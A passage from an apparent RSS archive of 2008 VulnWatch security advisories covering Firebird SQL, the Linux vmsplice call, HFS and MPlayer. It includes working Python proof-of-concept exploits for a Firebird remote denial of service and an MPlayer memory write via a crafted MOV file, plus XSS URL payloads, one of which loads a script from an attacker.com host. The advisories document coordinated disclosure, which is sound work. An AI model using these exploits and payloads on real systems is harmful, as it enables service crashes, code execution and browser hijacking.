. Firebird SQL 1.5.5 and before.<BR />
. Firebird SQL 2.0.3 and before.<BR />
. Firebird SQL 2.1.0 Beta 2 and before.<BR />
<BR />
*Non-vulnerable packages*<BR />
<BR />
. Firebird SQL 1.5.6 (to be released)<BR />
. Firebird SQL 2.0.4 (to be released)<BR />
. Firebird SQL 2.1.0 RC1<BR />
<BR />
*Vendor Information, Solutions and Workarounds*<BR />
<BR />
Firebird v2.1.0 RC1 fixes this vulnerability and is available for<BR />
download at <a href="http://firebirdsql.org/index.php?op=files&id=fb210_RC1">http://firebirdsql.org/index.php?op=files&id=fb210_RC1</a><BR />
<BR />
The fix will also be included in versions v1.5.6 and v2.0.4.  Version<BR />
2.0.4 will be released in February. The version 1.5.6 release is<BR />
expected later this year.<BR />
<BR />
The issue is registered [3] in Firebird Tracker as CORE-1681.<BR />
<BR />
*Credits*<BR />
<BR />
This vulnerability was discovered and researched by Damian Frizza with<BR />
assistance of Alfredo Ortega from Core Security Technologies.<BR />
<BR />
*Technical Description / Proof of Concept Code*<BR />
<BR />
The memory corruption happens when the parser (src/remote/protocol.cpp)<BR />
receives any of the following operations with invalid data:<BR />
<BR />
op_receive<BR />
op_start<BR />
op_start_and_receive<BR />
op_send<BR />
op_start_and_send<BR />
op_start_send_and_receive<BR />
<BR />
The parser fails to properly sanitize certain variables before use. We<BR />
can see that in the file src/remote/protocol.cpp there are the following<BR />
assignments directly from the packet buffer to the data structure,<BR />
without any validation (The MAP macro doesn't have any range checking):<BR />
<BR />
src/remote/protocol.cpp:417<BR />
<BR />
		MAP(xdr_short, reinterpret_cast&lt;SSHORT&amp;&gt;(data-&gt;p_data_request));<BR />
		MAP(xdr_short, reinterpret_cast&lt;SSHORT&amp;&gt;(data-&gt;p_data_incarnation));<BR />
		MAP(xdr_short, reinterpret_cast&lt;SSHORT&amp;&gt;(data-&gt;p_data_transaction));<BR />
		MAP(xdr_short, reinterpret_cast&lt;SSHORT&amp;&gt;(data-&gt;p_data_message_number));<BR />
		/* Changes to this op's protocol must mirror in xdr_protocol_overhead */<BR />
		return xdr_request(xdrs, data-&gt;p_data_request,<BR />
			data-&gt;p_data_message_number,<BR />
			data-&gt;p_data_incarnation) ? P_TRUE(xdrs, p) : P_FALSE(xdrs, p);<BR />
<BR />
And in the function xdr_request(), the variable data-&gt;p_data_request (as<BR />
request_id) is used to index an array:<BR />
<BR />
	...<BR />
	rrq* request = (rrq*) port-&gt;port_objects[request_id];<BR />
	...<BR />
<BR />
Corrupting memory structures and causing a DoS of the server, with<BR />
possible execution of code. The same happens with the variable<BR />
data-&gt;p_data_message_number.<BR />
<BR />
The following python PoC causes a remote Denial of service and<BR />
demonstrates the bug:<BR />
<BR />
##Firebird DoS<BR />
##Damian Frizza - Core Security Exploit Writers Team<BR />
##tested against Firebird-2.0.3.12981-1-Win32.exe and<BR />
##Firebird-2.1.0.16780_0_Win32.exe<BR />
<BR />
##fbserver.exe 2.0.3<BR />
##005637D0   8B4424 08        MOV EAX,DWORD PTR SS:[ESP+8]<BR />
##005637D4   0FB700           MOVZX EAX,WORD PTR DS:[EAX]<BR />
##005637D7   83EC 50          SUB ESP,50<BR />
##005637DA   56               PUSH ESI<BR />
##005637DB   8BF1             MOV ESI,ECX<BR />
##005637DD   8B8E AC000000    MOV ECX,DWORD PTR DS:[ESI+AC]<BR />
##005637E3   3B41 08          CMP EAX,DWORD PTR DS:[ECX+8]     &lt;----<BR />
##CRASH HERE<BR />
<BR />
<BR />
import socket<BR />
import time<BR />
<BR />
def getTargetIP():<BR />
    return '192.168.xxx.xxx'<BR />
<BR />
<BR />
port= 3050<BR />
op = '\x4a'<BR />
<BR />
<BR />
packet = '\x00\x00\x00' + op +  'A' * 2000<BR />
<BR />
<BR />
##Making the connection and sending the data 5 times, fbguard.exe fails<BR />
##to restart the service.<BR />
<BR />
for i in range(0, 5):<BR />
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)<BR />
    s.connect((getTargetIP(), port))<BR />
    s.send(str(packet))<BR />
    s.close()<BR />
    time.sleep(1)<BR />
<BR />
*Report Timeline*<BR />
<BR />
2008-01-04: Initial notification sent by CoreLabs to Firebird SQL<BR />
development team.<BR />
2008-01-08: Notification acknowledged by Firebird SQL development team.<BR />
2008-01-08: Technical details sent by Core to Firebird SQL dev. team.<BR />
2008-01-10: Firebird SQL dev. team notifies Core that a fix has been<BR />
produced, and will be released in Firebird versions v1.5.6, v2.0.4 and<BR />
v2.1.0 RC1.<BR />
2008-01-10: CoreLabs acknowledges information about fixes and requests<BR />
date of the v2.1.0 RC1 release to the Firebird dev. team.<BR />
2008-01-15: Firebird dev. team confirms vendor information and dates of<BR />
fixed versions.<BR />
<BR />
<BR />
*References*<BR />
<BR />
[1] <a href="http://sourceforge.net/projects/firebird/">http://sourceforge.net/projects/firebird/</a><BR />
[2] <a href="http://www.firebirdsql.org/">http://www.firebirdsql.org/</a><BR />
[3] <a href="http://tracker.firebirdsql.org/browse/CORE-1681">http://tracker.firebirdsql.org/browse/CORE-1681</a><BR />
<BR />
*About Corelabs*<BR />
<BR />
CoreLabs, the research center of Core Security Technologies, is charged<BR />
with anticipating the future needs and requirements for information<BR />
security technologies.<BR />
We conduct our research in several important areas of computer security<BR />
including system vulnerabilities, cyber attack planning and simulation,<BR />
source code auditing, and cryptography. Our results include problem<BR />
formalization, identification of vulnerabilities, novel solutions and<BR />
prototypes for new technologies.<BR />
CoreLabs regularly publishes security advisories, technical papers,<BR />
project information and shared software tools for public use at:<BR />
<a href="http://www.coresecurity.com/corelabs/">http://www.coresecurity.com/corelabs/</a><BR />
<BR />
*About Core Security Technologies*<BR />
<BR />
Core Security Technologies develops strategic solutions that help<BR />
security-conscious organizations worldwide develop and maintain a<BR />
proactive process for securing their networks. The company's flagship<BR />
product, CORE IMPACT, is the most comprehensive product for performing<BR />
enterprise security assurance testing. IMPACT evaluates network,<BR />
endpoint and end-user vulnerabilities and identifies what resources are<BR />
exposed. It enables organizations to determine if current security<BR />
investments are detecting and preventing attacks. Core augments its<BR />
leading technology solution with world-class security consulting<BR />
services, including penetration testing and software security auditing.<BR />
Based in Boston, MA and Buenos Aires, Argentina, Core Security<BR />
Technologies can be reached at 617-399-6980 or on the Web at<BR />
<a href="http://www.coresecurity.com">http://www.coresecurity.com</a> .<BR />
<BR />
*DISCLAIMER*<BR />
<BR />
The contents of this advisory are copyright (c) 2008 CORE Security<BR />
Technologies and (c) 2008 CoreLabs, and may be distributed freely<BR />
provided that no fee is charged for this distribution and proper credit<BR />
is given.<BR />
<BR />
*PGP/GPG KEYS*<BR />
<BR />
This advisory has been signed with the GPG key of Core Security<BR />
Technologies advisories team, which is available for download at<BR />
<a href="http://www.coresecurity.com/files/attachments/core_security_advisories.asc">http://www.coresecurity.com/files/attachments/core_security_advisories.asc</a><BR />
<BR />
-----BEGIN PGP SIGNATURE-----<BR />
Version: GnuPG v1.4.6 (MingW32)<BR />
Comment: Using GnuPG with Mozilla - <a href="http://enigmail.mozdev.org">http://enigmail.mozdev.org</a><BR />
<BR />
iD8DBQFHnhGQyNibggitWa0RAjcmAJ94rGoTbUBQALmV5yOudJfL4B038QCgpzNw<BR />
dFwDpUnOO6OHI0L45rIwyFU=<BR />
=dlYg<BR />
-----END PGP SIGNATURE-----<BR />
<BR />
<p><!-- body="end" --><BR />
]]></description>
<pubDate>Mon, 28 Jan 2008 15:32:00 -0200</pubDate>
<author>Core Security Technologies Advisories</author>
</item>
<item>
<title>[VulnWatch] CSA-L03: Linux kernel vmsplice unchecked user-pointer dereference</title>
<link>http://lists.jammed.com/vulnwatch/2008/02/0005.html</link>
<description><![CDATA[<BR />
===[ ABSTRACT ]=========================================================<BR />
<BR />
A new vmsplice() system call was introduced in the 2.6.17 release of the<BR />
Linux kernel. In the 2.6.23 kernel the system call functionality has<BR />
been further extended resulting in two new critical vulnerabilities.<BR />
<BR />
<BR />
===[ AFFECTED SOFTWARE ]================================================<BR />
<BR />
Linux 2.6.23 - 2.6.24<BR />
<BR />
For the exact kernel version please refer to an information provided by<BR />
your vendor.<BR />
<BR />
<BR />
===[ DESCRIPTION ]======================================================<BR />
<BR />
VULNERABILITY #1<BR />
<BR />
Inappropriate dereference of user-supplied memory pointers in the<BR />
code beginning at line 1378 in the vmsplice_to_user() kernel<BR />
function (fs/splice.c):<BR />
<BR />
---8&lt;--- fs/splice.c:1378 ---8&lt;---<BR />
	error = get_user(base, &amp;iov-&gt;iov_base);<BR />
	/* ... */<BR />
	if (unlikely(!base)) {<BR />
		error = -EFAULT;<BR />
		break;<BR />
	}<BR />
	/* ... */<BR />
	sd.u.userptr = base;<BR />
	/* ... */<BR />
	size = __splice_from_pipe(pipe, &amp;sd, pipe_to_user);<BR />
---8&lt;--- fs/splice.c:1401 ---8&lt;---<BR />
<BR />
The code lacks validation of these pointers (i.e. with access_ok()).<BR />
The __splice_from_pipe() assumes these are valid user-memory pointers<BR />
and never makes any verification of them. The function dereferences the<BR />
pointers with __copy_to_user_inatomic() function (in pipe_to_user()) in<BR />
order to write data to user-process memory in this case leading to<BR />
possibility of arbitrary data (read from pipe) to arbitrary kernel<BR />
memory.<BR />
<BR />
<BR />
VULNERABILITY #2<BR />
<BR />
The copy_from_user_mmap_sem() function copies data from user-process<BR />
memory with the use of __copy_from_user_inatomic() without validating<BR />
user-supplied pointer with access_ok():<BR />
<BR />
---8&lt;--- fs/splice.c:1188 ---8&lt;---<BR />
         partial = __copy_from_user_inatomic(dst, src, n);<BR />
---8&lt;--- fs/splice.c:1188 ---8&lt;---<BR />
<BR />
This vulnerability leads to indirect reading of arbitrary kernel memory.<BR />
<BR />
<BR />
===[ IMPACT ]===========================================================<BR />
<BR />
Vulnerabilities may lead to local system compromise including execution<BR />
of arbitrary machine code in the context of running kernel.<BR />
<BR />
Vulnerability #1 has been successfully exploited on Linux 2.6.24.<BR />
Vulnerability #2 not tested.<BR />
<BR />
<BR />
===[ DISCLOSURE TIMELINE ]==============================================<BR />
<BR />
1st Feb 2008	Vendor notification<BR />
8th Feb 2008	Public disclosure<BR />
<BR />
<BR />
===[ AUTHOR ]===========================================================<BR />
<BR />
Wojciech Purczynski &lt;cliph@private&gt;<BR />
<BR />
Wojciech Purczynski is a Security Researcher at Vulnerability Research<BR />
Labs, COSEINC PTE Ltd.<BR />
<a href="http://coseinc.com">http://coseinc.com</a><BR />
<BR />
Wojciech Purczynski is also a member of iSEC Security Research<BR />
<a href="http://isec.pl/">http://isec.pl/</a><BR />
<BR />
<BR />
===[ LEGAL DISCLAIMER ]=================================================<BR />
<BR />
Copyright (c) 2008 Wojciech Purczynski<BR />
Copyright (c) 2008 COSEINC PTE Ltd.<BR />
<BR />
All Rights Reserved.<BR />
<BR />
PUBLISHING, DISTRIBUTING, PRINTING, COPYING, SCANNING, DUPLICATING IN<BR />
ANY FORM, MODIFYING WITHOUT PRIOR WRITTEN PERMISSION IS STRICTLY<BR />
PROHIBITED.<BR />
<BR />
THE DOCUMENT IS PROVIDED &quot;AS IS&quot; WITHOUT WARRANTY OF ANY KIND. THE<BR />
CONTENT MAY CHANGE WITHOUT NOTICE. IN NO EVENT SHALL THE AUTHORS BE<BR />
LIABLE FOR ANY SPECIAL, INDIRECT OR CONSEQUENTIAL DAMAGES, INJURIES,<BR />
LOSSES OR UNLAWFUL OFFENCES.<BR />
<BR />
USE AT YOUR OWN RISK.<BR />
<BR />
<p><!-- body="end" --><BR />
]]></description>
<pubDate>Tue, 12 Feb 2008 08:50:49 +0100</pubDate>
<author>Wojciech Purczynski</author>
</item>
<item>
<title>[VulnWatch] Syhunt: HFS (HTTP File Server) Template Cross-Site Scripting and Information Disclosure Vulnerabilities</title>
<link>http://lists.jammed.com/vulnwatch/2008/01/0007.html</link>
<description><![CDATA[<BR />
Syhunt: HFS (HTTP File Server) Template Cross-Site Scripting and<BR />
Information Disclosure Vulnerabilities<BR />
<BR />
Advisory-ID: 200801161<BR />
Discovery Date: 1.16.2008<BR />
Release Date: 1.23.2008<BR />
Affected Applications: HFS 2.0 to and including 2.3(Beta Build<BR />
#174)<BR />
Non-Affected Applications: HFS 1.6a and earlier versions<BR />
Class: Cross-Site Scripting (XSS), Information Disclosure<BR />
Status: Patch available/Vendor informed<BR />
Vendor: Massimo Melina<BR />
Vendor URL: <a href="http://www.rejetto.com/hfs">http://www.rejetto.com/hfs</a> -or- hfs.sourceforge.net<BR />
<BR />
The Common Vulnerabilities and Exposures (CVE) project has<BR />
assigned the following CVEs to these vulnerabilities:<BR />
* CVE-2008-0409 - Cross-Site Scripting (XSS) and Host Field XSS<BR />
* CVE-2008-0410 - Information Disclosure Vulnerability<BR />
<BR />
----------------------------------------------------------------<BR />
<BR />
Overview:<BR />
HFS is a very popular open source HTTP server designed for<BR />
easily sharing files. According to information on the official<BR />
website, the HTTP File Server software has been downloaded about<BR />
2 million times.<BR />
<BR />
Description:<BR />
When a specific URL is visited, HFS displays a non-existent<BR />
account name in the response body. This non-existent account<BR />
name can be HTML code, allowing a remote attacker to use this<BR />
to launch XSS attacks.<BR />
<BR />
Because the HTML code is also recognized by the web server as a<BR />
HFS HTML template, it is also possible to inject symbols to<BR />
force HFS to reveal details about the server (eg, current HFS<BR />
server version, build, connections, timestamp, uptime, current<BR />
outbound and inbound speed, and more). Technical details are<BR />
included below.<BR />
<BR />
----------------------------------------------------------------<BR />
<BR />
Details (Replicating the issues):<BR />
<BR />
1) Cross-Site Scripting (XSS) and Host Field XSS Vulnerabilities<BR />
Example 1 - Launching a basic XSS:<BR />
<a href="http://<script">http://<script</a>&gt;alert('Syhunt%20XSS')&lt;%2fscript&gt;a:x@[host]/<BR />
<BR />
Example 2 - Injecting an external script (A mix of encoding and<BR />
javascript functions is used here to circumvent browser<BR />
URL limitations):<BR />
<a href="http://<script">http://<script</a>&gt;var%20sChar=String%2efromCharCode(58)%3bdocument<BR />
%2ewrite('&lt;script%20src=http'+sChar+'%2f%2fwww%2eattacker%2ecom<BR />
%2fxss%2ejs&gt;&lt;%5c%2fscript&gt;')%3b&lt;%2fscript&gt;a:x@[host]/<BR />
<BR />
* This is specially dangerous if launched against Firefox. In<BR />
order to protect the password from prying eyes, Firefox entirely<BR />
hides what comes before the at (@) character and then only the<BR />
host name remains visible in the address bar. Firefox will also<BR />
resubmit the auth credentials everytime the host is visited<BR />
during the current browser session (unless new credentials are<BR />
supplied).<BR />
<BR />
* User must be already logged in (via /~login) and the current<BR />
(root) path should not be password protected in the HFS-VFS<BR />
panel.<BR />
<BR />
* If the host symbol is injected using this technique, HFS will<BR />
recognize it as a HTML template and return the data provided in<BR />
Host field of the request as part of the response body. The same<BR />
happens if the host symbol has been included (after<BR />
customization) in the current HFS HTML template.<BR />
<BR />
Detection:<BR />
<a href="http://www.syhunt.com/advisories/hfshack.txt">http://www.syhunt.com/advisories/hfshack.txt</a><BR />
See the &quot;checkxss&quot; command<BR />
<BR />
Sandcat can also be used to identify this issue:<BR />
<a href="http://www.syhunt.com/sandcat">http://www.syhunt.com/sandcat</a><BR />
<BR />
2) Information Disclosure<BR />
<BR />
Example 1 - Injecting Symbols:<BR />
<a href="http://www.syhunt.com/advisories/hfshack.txt">http://www.syhunt.com/advisories/hfshack.txt</a><BR />
The &quot;ver&quot; command will force HFS to reveal its version and build<BR />
The &quot;symbols&quot; command will force HFS to reveal additional<BR />
details about the server (such as connections, timestamp, uptime,<BR />
current outbound and inbound speed, and more).<BR />
<BR />
* You can disable the &quot;Send HFS identifier&quot; option (which<BR />
enables the HFS banner) and remove all server identifier<BR />
symbols from the original HTML template, and still it will work.<BR />
<BR />
Additional Considerations:<BR />
* An updated IE will not accept basic auth via URL. See:<BR />
<a href="http://support.microsoft.com/kb/834489">http://support.microsoft.com/kb/834489</a> and the MS security<BR />
update 832894 if you wish to learn about this subject.<BR />
<BR />
----------------------------------------------------------------<BR />
<BR />
Vulnerability Status:<BR />
The vendor was contacted and has immediately released HFS 2.2c<BR />
which fixes these problems. The new version can be downloaded at<BR />
www.rejetto.com/hfs/download or via the &quot;Check for news/updates&quot;<BR />
option in the HFS menu.<BR />
<BR />
As a workaround for the affected releases, users should remove<BR />
the %user% and %host% symbols from any HFS HTML templates.<BR />
<BR />
Testers of HFS 2.3 Beta should upgrade to the latest 2.3 beta<BR />
build.<BR />
<BR />
HFS 2.3 Beta specifically is only affected if the option<BR />
&quot;Accept any login for unprotected resources&quot; is enabled. This<BR />
option, introduced in this version, is disabled by default.<BR />
<BR />
----------------------------------------------------------------<BR />
<BR />
Credit:<BR />
Felipe Aragon and Alec Storm<BR />
Syhunt Security Research Team, www.syhunt.com<BR />
<BR />
---<BR />
<BR />
Copyright © 2008 Syhunt Security<BR />
<BR />
Disclaimer:<BR />
The information in this advisory is provided &quot;as is&quot; without<BR />
warranty of any kind. Details provided are strictly for<BR />
educational and defensive purposes.<BR />
<BR />
Syhunt is not liable for any damages caused by direct or<BR />
indirect use of the information provided by this advisory.<BR />
<BR />
<p><!-- body="end" --><BR />
]]></description>
<pubDate>Wed, 23 Jan 2008 15:48:38 -0200</pubDate>
<author>Alec Storm</author>
</item>
<item>
<title>[VulnWatch] CORE-2008-0122: MPlayer arbitrary pointer dereference</title>
<link>http://lists.jammed.com/vulnwatch/2008/02/0000.html</link>
<description><![CDATA[<BR />
-----BEGIN PGP SIGNED MESSAGE-----<BR />
Hash: SHA1<BR />
<BR />
          Core Security Technologies - CoreLabs Advisory<BR />
               <a href="http://www.coresecurity.com/corelabs">http://www.coresecurity.com/corelabs</a><BR />
<BR />
              MPlayer arbitrary pointer dereference<BR />
<BR />
*Advisory Information*<BR />
<BR />
Title: MPlayer arbitrary pointer dereference<BR />
Advisory ID: CORE-2008-0122<BR />
Advisory URL: <a href="http://www.coresecurity.com/?action=item&id=2102">http://www.coresecurity.com/?action=item&id=2102</a><BR />
Date published: 2008-02-04<BR />
Date of last update: 2008-01-30<BR />
Vendors contacted: MPlayer team<BR />
Release mode: Coordinated release<BR />
<BR />
<BR />
*Vulnerability Information*<BR />
<BR />
Class: Buffer overflow<BR />
Remotely Exploitable: Yes<BR />
Locally Exploitable: No<BR />
Bugtraq ID: 27499<BR />
CVE Name: CVE-2008-0485<BR />
<BR />
<BR />
*Vulnerability Description*<BR />
<BR />
The MPlayer package [1] is vulnerable to an arbitrary pointer<BR />
dereference vulnerability, which can be exploited by malicious remote<BR />
attackers to compromise a user's system. The vulnerability is caused by<BR />
the MPlayer libmpdemux ('demux_mov.c') library not properly sanitizing<BR />
certain tags on a MOV file before using them to index an array on the<BR />
heap. This can be exploited to execute arbitrary commands by opening a<BR />
specially crafted file.<BR />
<BR />
<BR />
*Vulnerable Packages*<BR />
<BR />
. MPlayer 1.0 rc2.<BR />
. Older versions are probably affected too, but they were not checked.<BR />
<BR />
<BR />
*Non-vulnerable Packages*<BR />
<BR />
. MPlayer SVN HEAD after r25922 (Tue Jan 29 22:14:00 2008 UTC).<BR />
. MPlayer 1.0rc2 + security patches.<BR />
<BR />
<BR />
*Vendor Information, Solutions and Workarounds*<BR />
<BR />
A fix for this problem was committed to SVN on the MPlayer project [2].<BR />
Users of affected MPlayer versions should download a patch [3] for<BR />
MPlayer 1.0rc2 or update to the latest version if they are using SVN.<BR />
<BR />
<BR />
*Credits*<BR />
<BR />
This vulnerability was discovered and researched by Felipe Manzano and<BR />
Anibal Sacco from Core Security Technologies.<BR />
<BR />
<BR />
*Technical Description / Proof of Concept Code*<BR />
<BR />
First some information from Quicktime File Format Specification (may 1996):<BR />
<BR />
&quot;A QuickTime file stores the description of the media separately from<BR />
the media data. The description, or meta-data, is called the movie and<BR />
contains information such as the number of tracks, video compression<BR />
format, and timing information. The movie also contains an index of<BR />
where all the media data is stored. The media data is all of the actual<BR />
sample data, such as video frames and audio samples. The media data may<BR />
be stored in the same file as the QuickTime movie, in a separate file,<BR />
or in several files.<BR />
<BR />
...QuickTime uses two basic structures for storing information: atoms<BR />
and QT atoms. Both atoms and QT atoms allow you to construct arbitrarily<BR />
complex hierarchical data structures. Both also allow applications to<BR />
ignore data they don't understand.&quot;<BR />
<BR />
An atom field has a LTV format (Length - Tag - Value) and the sizes are<BR />
the following:<BR />
<BR />
/-----------<BR />
<BR />
+--------------+<BR />
|     Size     |   (32 bits)<BR />
+--------------+<BR />
|     Tag      |   (32 bits)<BR />
+--------------+<BR />
|   Payload    |   (variable, which could contain other atoms inside)<BR />
+--------------+<BR />
<BR />
- -----------/<BR />
<BR />
The MPlayer software walks these atoms structures and parses the<BR />
'Payload' fields. The vulnerability occurs when parsing the 'stsc' atom<BR />
tag (which could be contained or not inside another atom) as we explain<BR />
below.<BR />
<BR />
At 'mov_demux.c' (line 1768) an array of 'chunkmap' structures is filled<BR />
by reading data straight from file without any kind of check. Then, at<BR />
'mov_build_index()' (line 150), the 'trak-&gt;chunkmap[i].first' field is<BR />
used to index the heap array 'chunks' allowing an attacker to write the<BR />
'sdid' and 'spc' values at some memory address relative to that heap<BR />
pointer causing a memory corruption. This could be used to overwrite<BR />
function pointers or some critical data allowing an attacker to get code<BR />
execution.<BR />
<BR />
Besides, it is possible to fool the parser in a way such that no memory<BR />
is allocated for the array pointed by 'trak-&gt;chunks', being initialized<BR />
to 0 (at line 1301). Doing this will remove the &quot;relative to that heap<BR />
pointer&quot; restriction allowing an attacker to write partially at almost<BR />
any memory address.<BR />
<BR />
Why partially? Because the structure used to write is declared in this way:<BR />
<BR />
/-----------<BR />
<BR />
typedef struct {<BR />
    unsigned int sample; // number of the first sample in the chunk<BR />
    unsigned int size;   // number of samples in the chunk<BR />
    int desc;            // for multiple codecs mode - not used<BR />
    off_t pos;<BR />
} mov_chunk_t;<BR />
<BR />
- -----------/<BR />
<BR />
So, being 'desc' and 'size' the controlled fields it is possible to<BR />
write at memory address: 'i*sizeof(chunk_t)+4' and 'i*sizeof(chunk_t)+8'<BR />
for any 'i' value (at lines 177 and 178).<BR />
<BR />
/-----------<BR />
<BR />
1755  case MOV_FOURCC('s','t','s','c'): {<BR />
1756    int temp = stream_read_dword(demuxer-&gt;stream);<BR />
1757    int len = stream_read_dword(demuxer-&gt;stream);<BR />
1758    int ver = (temp &lt;&lt; 24);<BR />
1759    int flags = (temp &lt;&lt; 16) | (temp &lt;&lt; 8) | temp;<BR />
1760    int i;<BR />
1761    mp_msg(MSGT_DEMUX, MSGL_V,<BR />
1762         &quot;MOV: %*sSample-&gt;Chunk mapping table!  (%d blocks)<BR />
(ver:%d,flags:%d)\n&quot;, level, &quot;&quot;,<BR />
1763          len, ver, flags);<BR />
1764  // read data:<BR />
1765  trak-&gt;chunkmap_size = len;<BR />
1766  trak-&gt;chunkmap = calloc(len, sizeof(mov_chunkmap_t));<BR />
1767  for (i = 0; i &lt; len; i++) {<BR />
1768    trak-&gt;chunkmap[i].first = stream_read_dword(demuxer-&gt;stream) - 1;<BR />
1769    trak-&gt;chunkmap[i].spc = stream_read_dword(demuxer-&gt;stream);<BR />
1770    trak-&gt;chunkmap[i].sdid = stream_read_dword(demuxer-&gt;stream);<BR />
1771  }<BR />
1772  break;<BR />
1773 }<BR />
<BR />
150 void mov_build_index(mov_track_t* trak,int timescale){<BR />
151     int i,j,s;<BR />
152     int last=trak-&gt;chunks_size;<BR />
153     unsigned int pts=0;<BR />
154<BR />
169     mp_msg(MSGT_DEMUX, MSGL_V, &quot;MOV track #%d: %d chunks, %d<BR />
samples\n&quot;,trak-&gt;id,trak-&gt;chunks_size,trak-&gt;samples_size);<BR />
170     mp_msg(MSGT_DEMUX, MSGL_V, &quot;pts=%d  scale=%d<BR />
time=%5.3f\n&quot;,trak-&gt;length,trak-&gt;timescale,(float)trak-&gt;length/(float)trak-&gt;timescale);<BR />
171<BR />
172    // process chunkmap:<BR />
173    i=trak-&gt;chunkmap_size;<BR />
174    while(i&gt;0){<BR />
175       --i;<BR />
176       for(j=trak-&gt;chunkmap[i].first;j&lt;last;j++){<BR />
177          trak-&gt;chunks[j].desc=trak-&gt;chunkmap[i].sdid;<BR />
178          trak-&gt;chunks[j].size=trak-&gt;chunkmap[i].spc;<BR />
179       }<BR />
180       last=trak-&gt;chunkmap[i].first;<BR />
181    }<BR />
<BR />
- -----------/<BR />
<BR />
In this way, as we show in the following PoC, it is possible to build a<BR />
file that contains specially crafted 'stsc' atoms allowing an attacker<BR />
to write any value in practically any address. With this clear and some<BR />
voodoo magic it is possible to write a scattered payload that builds a<BR />
fully functional shellcode on some other place to subsequently jump to.<BR />
<BR />
The following PoC python code demonstrates the vulnerability.<BR />
<BR />
/-----------<BR />
<BR />
#!/bin/python<BR />
<BR />
import struct<BR />
import sys<BR />
<BR />
def mkatom(type,data):<BR />
    if len(type) != 4:<BR />
        raise &quot;type must by of length 4!!!&quot;<BR />
    mov = &quot;&quot;<BR />
    mov += struct.pack(&quot;&gt;L&quot;,len(data)+8)<BR />
    mov += type<BR />
    mov += data<BR />
    return mov<BR />
<BR />
def poc(address, block_size):<BR />
<BR />
    what=struct.pack(&quot;&gt;L&quot;, 0x41414141) * 2 # Writes an 8 bytes chunk<BR />
    base= ((address - 8) / block_size) +1<BR />
<BR />
    ftyp = mkatom(&quot;ftyp&quot;,&quot;3gp4&quot;+&quot;\x00\x00\x02\x00&quot;+&quot;3gp4&quot;+&quot;3gp33gp23gp1&quot;)<BR />
    mdat = mkatom(&quot;mdat&quot;,&quot;MALDAAAAAD!&quot;)<BR />
    stsc  = mkatom(&quot;stsc&quot;,struct.pack(&quot;&gt;L&quot;,1) + \<BR />
                    struct.pack(&quot;&gt;L&quot;,2) + \<BR />
                    struct.pack(&quot;&gt;L&quot;,base) + \<BR />
                    what + \<BR />
                    struct.pack(&quot;&gt;L&quot;,base+300)+what)<BR />
    trak = mkatom(&quot;trak&quot;,stsc)<BR />
    moov = mkatom(&quot;moov&quot;,trak)<BR />
<BR />
    file = ftyp + mdat + moov<BR />
    return file<BR />
<BR />
try:<BR />
    if sys.argv[2] != &quot;linux&quot;:<BR />
        evilness = poc(0x0122e000, 24)     #Windows XP SP2 Prof. ES<BR />
    else:<BR />
        evilness = poc(0x088aa020, 20)     #Linux Gentoo<BR />
<BR />
    print &quot;[+] Generating file: %s&quot; % sys.argv[1]<BR />
    file = open(sys.argv[1], &quot;wb&quot;)<BR />
    file.write(evilness)<BR />
    file.close()<BR />
    print &quot;[+] Done.&quot;<BR />
<BR />
except Exception, e:<BR />
    print &quot;[+] Usage: python mplayer_poc.py filename.mov windows (For<BR />
WinXP Prof SP2 ES)&quot;<BR />
    print &quot;           python mplayer_poc.py filename.mov linux     (For<BR />
Linux Gentoo)&quot;<BR />
<BR />
- -----------/<BR />
<BR />
<BR />
*Report Timeline*<BR />
<BR />
. 2008-01-18: Core Security Technologies notifies the MPlayer team of<BR />
the vulnerability.<BR />
. 2008-01-18: The MPlayer team asks Core Security Technologies for<BR />
technical description of the vulnerability.<BR />
. 2008-01-22: Technical details sent to MPlayer team by Core Security<BR />
Technologies.<BR />
. 2008-01-28: MPlayer notifies Core Security Technologies that a fix has<BR />
been produced.<BR />
. 2008-02-04: CORE-2008-0122 advisory is published.<BR />
<BR />
<BR />
*References*<BR />
<BR />
[1] <a href="http://www.mplayerhq.hu">http://www.mplayerhq.hu</a><BR />
[2]<BR />
<a href="http://svn.mplayerhq.hu/mplayer/trunk/libmpdemux/demux_mov.c?r1=25920&r2=25922">http://svn.mplayerhq.hu/mplayer/trunk/libmpdemux/demux_mov.c?r1=25920&r2=25922</a><BR />
[3] <a href="http://www.mplayerhq.hu/MPlayer/patches/demux_mov_fix_20080129.diff">http://www.mplayerhq.hu/MPlayer/patches/demux_mov_fix_20080129.diff</a><BR />
<BR />
<BR />
*About CoreLabs*<BR />
<BR />
CoreLabs, the research center of Core Security Technologies, is charged<BR />
with anticipating the future needs and requirements for information<BR />
security technologies. We conduct our research in several important<BR />
areas of computer security including system vulnerabilities, cyber<BR />
attack planning and simulation, source code auditing, and cryptography.<BR />
Our results include problem formalization, identification of<BR />
vulnerabilities, novel solutions and prototypes for new technologies.<BR />
CoreLabs regularly publishes security advisories, technical papers,<BR />
project information and shared software tools for public use at:<BR />
<a href="http://www.coresecurity.com/corelabs/">http://www.coresecurity.com/corelabs/</a>.<BR />
<BR />
<BR />
*About Core Security Technologies*<BR />
<BR />
Core Security Technologies develops strategic solutions that help<BR />
security-conscious organizations worldwide develop and maintain a<BR />
proactive process for securing their networks. The company's flagship<BR />
product, CORE IMPACT, is the most comprehensive product for performing<BR />
enterprise security assurance testing. CORE IMPACT evaluates network,<BR />
endpoint and end-user vulnerabilities and identifies what resources are<BR />
exposed. It enables organizations to determine if current security<BR />
investments are detecting and preventing attacks. Core Security<BR />
Technologies augments its leading technology solution with world-class<BR />
security consulting services, including penetration testing and software<BR />
security auditing. Based in Boston, MA and Buenos Aires, Argentina, Core<BR />
Security Technologies can be reached at 617-399-6980 or on the Web at<BR />
<a href="http://www.coresecurity.com">http://www.coresecurity.com</a>.<BR />
<BR />
<BR />
*Disclaimer*<BR />
<BR />
The contents of this advisory are copyright (c) 2008 Core Security<BR />
Technologies and (c) 2008 CoreLabs, and may be distributed freely<BR />
provided that no fee is charged for this distribution and proper credit<BR />
is given.<BR />
<BR />
<BR />
*GPG/PGP Keys*<BR />
<BR />
This advisory has been signed with the GPG key of Core Security<BR />
Technologies advisories team, which is available for download at<BR />
<a href="http://www.coresecurity.com/files/attachments/core_security_advisories.asc">http://www.coresecurity.com/files/attachments/core_security_advisories.asc</a>.<BR />
<BR />
-----BEGIN PGP SIGNATURE-----<BR />
Version: GnuPG v1.4.7 (MingW32)<BR />
Comment: Using GnuPG with Mozilla - <a href="http://enigmail.mozdev.org">http://enigmail.mozdev.org</a><BR />
<BR />
